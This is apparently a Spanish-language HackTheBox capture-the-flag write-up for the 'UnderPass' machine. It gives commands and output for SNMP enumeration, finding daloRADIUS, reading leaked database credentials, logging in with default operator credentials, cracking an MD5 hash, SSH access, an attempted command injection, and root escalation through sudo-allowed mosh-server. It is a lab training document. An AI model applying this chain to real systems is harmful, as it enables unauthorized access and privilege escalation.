UnderPass – HackTheBox Link to heading

  • OS: Linux
  • Difficulty / Dificultad: Easy / Fácil
  • Platform / Plataforma: HackTheBox

Avatar underpass


Resumen Link to heading

“UnderPass” es una máquina fácil de la plataforma HackTheBox. La máquina víctima está corriendo un servicio Simple Network Management Protocol a través del protocolo UDP. Este servicio tiene un community string llamado public. Éste filtra información la cual indica que el servidor se encuentra corriendo un software llamado Daloradius. Este servicio usa las credenciales por defecto para su panel de operadores, lo cual nos permite ganar acceso a este panel. Este panel filtra un nuevo hash, el cual somos capaces de crackear y obtener una contraseña que funciona a través de SSH. Ya dentro de la máquina víctima, somos capaces de correr el software Mosh (que es un software levemente similar para conectarse remotamente con SSH) con sudo. Esto nos permite conectarnos al localhost como el usuario root, comprometiendo el sistema.


User / Usuario Link to heading

Empezamos con un rápido pero silencioso escaneo con Nmap en busca de puertos TCP abiertos:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv

Sólo vemos 2 puertos abiertos: 22 SSH y 80 HTTP.

Aplicando algunos scripts de reconocimiento sobre estos puertos con la flag -sVC obtenemos:

❯ sudo nmap -sVC -p22,80 10.10.11.48

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-25 02:21 -03
Nmap scan report for 10.10.11.48
Host is up (0.29s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 48:b0:d2:c7:29:26:ae:3d:fb:b7:6b:0f:f5:4d:2a:ea (ECDSA)
|_  256 cb:61:64:b8:1b:1b:b5:ba:b8:45:86:c5:16:bb:e2:a2 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.46 seconds

Aplicando WhatWeb contra el sitio web muestra el sitio por defecto para Apache:

❯ whatweb -a 3 http://10.10.11.48

http://10.10.11.48 [200 OK] Apache[2.4.52], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.48], Title[Apache2 Ubuntu Default Page: It works]

Visiando http://10.10.11.48 sólo confirma los resultados del escaneo previo:

UnderPass 1

Empezamos a buscar por directorios a través de un Brute Force Directory Listing con la herramienta Gobuster:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.11.48 -x php,txt,html -t 55 --no-error

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.48
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 276]
/index.html           (Status: 200) [Size: 10671]
/.php                 (Status: 403) [Size: 276]
/.php                 (Status: 403) [Size: 276]
/.html                (Status: 403) [Size: 276]
===============================================================
Finished
===============================================================

Pero no encontramos nada interesante.

Ya en este punto vale la pena buscar por puertos UDP abiertos en la máquina víctima. Aplicamos un escaneo con Nmap contra puertos UDP:

❯ nmap -sU --top-ports=1000 10.10.11.48 -vvv --open --stats-every=10s

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-25 02:36 -03
Nmap wishes you a merry Christmas! Specify -sX for Xmas Scan (https://nmap.org/book/man-port-scanning-techniques.html).
Initiating Ping Scan at 02:36
Scanning 10.10.11.48 [4 ports]
<SNIP>
Scanned at 2024-12-25 02:36:16 -03 for 1014s
Not shown: 997 closed udp ports (port-unreach)
PORT     STATE         SERVICE REASON
161/udp  open          snmp    udp-response ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1014.05 seconds
           Raw packets sent: 1402 (66.140KB) | Rcvd: 1069 (89.083KB)
Nota
También podríamos agregar la flag -T5 para un escaneo a máxima velocidad, pero no lo recomiendo.

Vemos el puerto 161 abierto para el servicio Simple Network Management Protocol (SNMP).

Aplicando algunos scripts de reconocimiento sobre este nuevo puerto retorna:

❯ sudo nmap -sVCU -p161 10.10.11.48 -oN targeted_UDP

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-25 02:57 -03
Nmap scan report for 10.10.11.48
Host is up (0.25s latency).

PORT    STATE SERVICE VERSION
161/udp open  snmp    SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-info:
|   enterprise: net-snmp
|   engineIDFormat: unknown
|   engineIDData: c7ad5c4856d1cf6600000000
|   snmpEngineBoots: 29
|_  snmpEngineTime: 3h37m40s
| snmp-sysdescr: Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
|_  System uptime: 3h37m40.59s (1306059 timeticks)
Service Info: Host: UnDerPass.htb is the only daloradius server in the basin!

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.29 seconds

Tenemos un community string llamado public.

Podemos usar la herramienta snmpbulkwalk para extraer información de esta community string:

❯ snmpbulkwalk -Cr1000 -c public -v2c 10.10.11.48 > snmpbulk-output.txt

y leemos su contenido con cat:

❯ cat snmpbulk-output.txt

iso.3.6.1.2.1.1.1.0 = STRING: "Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (1328337) 3:41:23.37
iso.3.6.1.2.1.1.4.0 = STRING: "steve@underpass.htb"
iso.3.6.1.2.1.1.5.0 = STRING: "UnDerPass.htb is the only daloradius server in the basin!"
iso.3.6.1.2.1.1.6.0 = STRING: "Nevada, U.S.A. but not Vegas"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
<SNIP>

Tenemos un usuario steve@underpass.htb. El mensaje también habla acerca de un tal servidor daloRADIUS:

Información
Daloradius is a web interface for managing RADIUS servers. RADIUS (Remote Authentication Dial-In User Service) is a protocol for authentication, authorization and user accounting, especially widely used in Wi-Fi and VPN networks.

Finalmente, el output también muestra un dominio underpass.htb. Por lo que agregamos este dominio a nuestro archivo /etc/hosts:

❯ echo '10.10.11.48 underpass.htb' | sudo tee -a /etc/hosts

Basados en el repositorio de Github para daloRADIUS para su Dockerfile, debería de haber un directorio /daloradius en el servidor web. Podemos verificar si este directorio existe usando cURL y la cabecera de la respuesta con -I:

❯ curl -s -I http://underpass.htb/daloradius/

HTTP/1.1 403 Forbidden
Date: Wed, 25 Dec 2024 06:09:20 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Type: text/html; charset=iso-8859-1

Obtenemos el código 403 Forbidden, el cual es diferente de 404 Not Found. Por tanto, este directorio existe, sólo que no tenemos permisos para acceder a este directorio.

Intentamos un nuevo Brute Force Directory Listing con Gobuster, buscando por nuevos directorios contenidos dentro del directorio /daloradius:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://underpass.htb/daloradius/ -x php -t 40 --no-error

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://underpass.htb/daloradius/
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,yml
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 278]
/library              (Status: 301) [Size: 327] [--> http://underpass.htb/daloradius/library/]
/doc                  (Status: 301) [Size: 323] [--> http://underpass.htb/daloradius/doc/]
/app                  (Status: 301) [Size: 323] [--> http://underpass.htb/daloradius/app/]
/contrib              (Status: 301) [Size: 327] [--> http://underpass.htb/daloradius/contrib/]
/ChangeLog            (Status: 200) [Size: 24703]
/setup                (Status: 301) [Size: 325] [--> http://underpass.htb/daloradius/setup/]
/LICENSE              (Status: 200) [Size: 18011]
<SNIP>

Podemos ver dos archivos LICENCE y ChangeLog.

Extrayendo su contenido con cURL obtenemos:

❯ curl -s http://underpass.htb/daloradius/ChangeLog

release 1.? - WIP
        - Ternary expression fix in graph library
        - Report fixes
        - Fix support for multiple db locations
<SNIP>

❯ curl -s http://underpass.htb/daloradius/LICENSE

                    GNU GENERAL PUBLIC LICENSE
                       Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.
                       51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble
<SNIP>

Notamos que estos archivos son similares a aquellos del repositorio de Github de daloRADIUS. De hecho, podemos revisar si hay diferencias entre los archivos utilizando el comando diff:

❯ diff <(curl -s http://underpass.htb/daloradius/LICENSE) <(curl -s https://raw.githubusercontent.com/lirantal/daloradius/refs/heads/master/LICENSE)

❯ diff <(curl -s http://underpass.htb/daloradius/ChangeLog) <(curl -s https://raw.githubusercontent.com/lirantal/daloradius/refs/heads/master/ChangeLog)

No hay output. Lo cual significa que estos archivos son iguales. También obtenemos, a través del escaneo con Gobuster, archivos similares a aquellos obtenidos en el repositorio de Github.

Por tanto, podemos asumir que archivos como .htpasswd, Dockerfile y/o docker-compose.yml existen. Chequeamos esto usando cURL:

❯ curl -s -I http://underpass.htb/daloradius/.htpasswd

HTTP/1.1 403 Forbidden
Date: Wed, 25 Dec 2024 06:26:10 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Type: text/html; charset=iso-8859-1

❯ curl -s -I http://underpass.htb/daloradius/Dockerfile

HTTP/1.1 200 OK
Date: Wed, 25 Dec 2024 06:26:17 GMT
Server: Apache/2.4.52 (Ubuntu)
Last-Modified: Mon, 12 Aug 2024 11:36:54 GMT
ETag: "886-61f7ae8e42180"
Accept-Ranges: bytes
Content-Length: 2182

❯ curl -s -I http://underpass.htb/daloradius/docker-compose.yml

HTTP/1.1 200 OK
Date: Wed, 25 Dec 2024 06:26:27 GMT
Server: Apache/2.4.52 (Ubuntu)
Last-Modified: Mon, 12 Aug 2024 11:36:54 GMT
ETag: "601-61f7ae8e42180"
Accept-Ranges: bytes
Content-Length: 1537

Podemos leer los archivos Dockerfile y docker-compose.yml.

El archivo docker.compose.yml muestra algo de información interesante:

❯ curl -s http://underpass.htb/daloradius/docker-compose.yml

version: "3"

services:

  radius-mysql:
    image: mariadb:10
    container_name: radius-mysql
    restart: unless-stopped
    environment:
      - MYSQL_DATABASE=radius
      - MYSQL_USER=radius
      - MYSQL_PASSWORD=radiusdbpw
      - MYSQL_ROOT_PASSWORD=radiusrootdbpw
    volumes:
      - "./data/mysql:/var/lib/mysql"

  radius:
    container_name: radius
    build:
      context: .
      dockerfile: Dockerfile-freeradius
    restart: unless-stopped
    depends_on:
      - radius-mysql
    ports:
      - '1812:1812/udp'
      - '1813:1813/udp'
    environment:
      - MYSQL_HOST=radius-mysql
      - MYSQL_PORT=3306
      - MYSQL_DATABASE=radius
      - MYSQL_USER=radius
      - MYSQL_PASSWORD=radiusdbpw
      # Optional settings
      - DEFAULT_CLIENT_SECRET=testing123
    volumes:
      - ./data/freeradius:/data
    # If you want to disable debug output, remove the command parameter
    command: -X

  radius-web:
    build: .
    container_name: radius-web
    restart: unless-stopped
    depends_on:
      - radius
      - radius-mysql
    ports:
      - '80:80'
      - '8000:8000'
    environment:
      - MYSQL_HOST=radius-mysql
      - MYSQL_PORT=3306
      - MYSQL_DATABASE=radius
      - MYSQL_USER=radius
      - MYSQL_PASSWORD=radiusdbpw
      # Optional Settings:
      - DEFAULT_CLIENT_SECRET=testing123
      - DEFAULT_FREERADIUS_SERVER=radius
      - MAIL_SMTPADDR=127.0.0.1
      - MAIL_PORT=25
      - MAIL_FROM=root@daloradius.xdsl.by
      - MAIL_AUTH=

    volumes:
      - ./data/daloradius:/data

Tenemos credenciales para una base de datos con MySQL: radiusdbpw y un usuario llamado radius.

Volviendo a revisar el repositorio de Github (dado que buscar directorios por fuerza bruta ya no tiene sentido dado que ahora tenemos el repositorio que nos muestra todos los directorios disponibles), debería de haber una página /daloradius/app/users/login.php. Visitando el sitio http://underpass.htb/daloradius/users/login.php muestra un panel de login:

UnderPass 2

Intentamos con las credenciales radius:radiusdbpw y steve:radiusdbpw, pero no funcionan.

Buscando por daloradius default credentials (credenciales por defecto para daloradius) nos lleva a este post, donde se proveen las credenciales: administrator:radius. Pero tampoco funcionan en el panel anterior.

Buscando por más paneles de login en el repositorio de Github encontramos que el directorio /operators también tiene una página /login.php como se puede ver aquí. Visitando así http://underpass.htb/daloradius/app/operators/login.php muestra otro panel de login realmente similar al panel de login previamente hallado:

UnderPass 3

Usando las credenciales por defecto administrator:radius en este panel funciona. Estamos dentro:

UnderPass 4

En la parte inferior izquierda (y también del panel de login previo) podemos ver una versión: 2.2.

Buscando por exploits para daloRADIUS con esta versión no muestra nada. Por ende, debemos explorar la página. Clickeando en Go to users list muestra algo interesante:

UnderPass 5

Tenemos un hash: 412DD4759978ACFCC81DEAB01B382403 para un usuario llamado svcMosh.

Copiamos este hash y usamos hash-identifier para revisar el tipo de hash:

❯ hash-identifier

<SNIP>
--------------------------------------------------
 HASH: 412DD4759978ACFCC81DEAB01B382403

Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
<SNIP>

Es un hash de tipo MD5 (lo cual también se puede saber porque el hash tiene 32 carácteres de longitud).

Tratamos de crackear este hash a través de un Brute Force Password Cracking usando la herramienta JohnTheRipper (john) junto con el diccionario rockyou.txt:

❯ echo -n '412DD4759978ACFCC81DEAB01B382403' > hash_found

❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash_found --format=Raw-MD5

Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=5
Press 'q' or Ctrl-C to abort, almost any other key for status
underwaterfriends (?)
1g 0:00:00:00 DONE (2024-12-25 03:53) 2.173g/s 6487Kp/s 6487Kc/s 6487KC/s undiamecaiQ..underpants2
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

Obtenemos una contraseña: underwaterfriends.

Podemos usar NetExec para revisar si este hash funciona para alguno de los usuario previamente hallados a través de SSH:

❯ nxc ssh 10.10.11.48 -u steven -p 'underwaterfriends'

SSH         10.10.11.48     22     10.10.11.48      [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH         10.10.11.48     22     10.10.11.48      [-] steven:underwaterfriends

❯ nxc ssh 10.10.11.48 -u radius -p 'underwaterfriends'

SSH         10.10.11.48     22     10.10.11.48      [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH         10.10.11.48     22     10.10.11.48      [-] radius:underwaterfriends

❯ nxc ssh 10.10.11.48 -u svcMosh -p 'underwaterfriends'

SSH         10.10.11.48     22     10.10.11.48      [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH         10.10.11.48     22     10.10.11.48      [+] svcMosh:underwaterfriends  Linux - Shell access!

Tenemos credenciales válidas SSH: svcMosh:underwaterfriends.

Finalmente, entramos en la máquina víctima a través de SSH como el usuario svcMosh:

❯ sshpass -p 'underwaterfriends' ssh -o stricthostkeychecking=no svcMosh@10.10.11.48

<SNIP>
Last login: Thu Dec 12 15:45:42 2024 from 10.10.14.65

svcMosh@underpass:~$

Podemos obtener la flag de usuario.


Root Link to heading

Revisando qué es lo que puede correr este usuario con sudo obtenemos:

svcMosh@underpass:~$ sudo -l

Matching Defaults entries for svcMosh on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svcMosh may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/bin/mosh-server

Si corremos este comando obtenemos:

svcMosh@underpass:~$ sudo /usr/bin/mosh-server


MOSH CONNECT 60001 Jf4IdDNlefPouxvjWwkevg

mosh-server (mosh 1.3.2) [build mosh 1.3.2]
Copyright 2012 Keith Winstein <mosh-devel@mit.edu>
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

[mosh-server detached, pid = 2592]

Podemos ejecutar Mosh:

Información
Mosh is a remote terminal application that supports intermittent connectivity, allows roaming, and provides speculative local echo and line editing of user keystrokes.
Este es un software que sirve para conectarse remotamente a un servidor, similar a SSH, pero para conexiones inestables.

Revisando qué es lo que podemos ejecutar con el binario mosh-server obtenemos:

svcMosh@underpass:~$ sudo /usr/bin/mosh-server -h

Usage: /usr/bin/mosh-server new [-s] [-v] [-i LOCALADDR] [-p PORT[:PORT2` [-c COLORS] [-l NAME=VALUE] [-- COMMAND...]

Pero tratar de inyectar comandos como:

svcMosh@underpass:~$ sudo mosh-server new -- /bin/bash -c "ping -c1 10.10.16.5"

No funciona.

Revisando qué es lo que podemos hacer con Mosh en la máquina víctima obtenemos:

svcMosh@underpass:~$ mosh

Usage: /usr/bin/mosh [options] [--] [user@]host [command...]
        --client=PATH        mosh client on local machine
                                (default: "mosh-client")
        --server=COMMAND     mosh server on remote machine
                                (default: "mosh-server")

        --predict=adaptive      local echo for slower links [default]
-a      --predict=always        use local echo even on fast links
-n      --predict=never         never use local echo
        --predict=experimental  aggressively echo even when incorrect

-4      --family=inet        use IPv4 only
-6      --family=inet6       use IPv6 only
        --family=auto        autodetect network type for single-family hosts only
        --family=all         try all network types
        --family=prefer-inet use all network types, but try IPv4 first [default]
        --family=prefer-inet6 use all network types, but try IPv6 first
-p PORT[:PORT2]
        --port=PORT[:PORT2]  server-side UDP port or range
                                (No effect on server-side SSH port)
        --bind-server={ssh|any|IP}  ask the server to reply from an IP address
                                       (default: "ssh")

        --ssh=COMMAND        ssh command to run when setting up session
                                (example: "ssh -p 2222")
                                (default: "ssh")

        --no-ssh-pty         do not allocate a pseudo tty on ssh connection

        --no-init            do not send terminal initialization string

        --local              run mosh-server locally without using ssh

        --experimental-remote-ip=(local|remote|proxy)  select the method for
                             discovering the remote IP address to use for mosh
                             (default: "proxy")

        --help               this message
        --version            version and copyright information

Please report bugs to mosh-devel@mit.edu.
Mosh home page: https://mosh.org

El comando --server es especialmente interesante ya que nos permite ejecutar un comando.

Por ende, tratamos de ejecutar un comando con sudo dentro de Mosh (no mosh-server) con --server y pasar mosh-server dentro de éste, conectándose al localhost:

svcMosh@underpass:~$ mosh --server="sudo /usr/bin/mosh-server" localhost

Obtenemos una conexión como root en la máquina víctima (localhost de ésta):

root@underpass:~# whoami
root

root@underpass:~# hostname -I
10.10.11.48

GG. Podemos leer la flag de root en el directorio /root.

~Happy Hacking.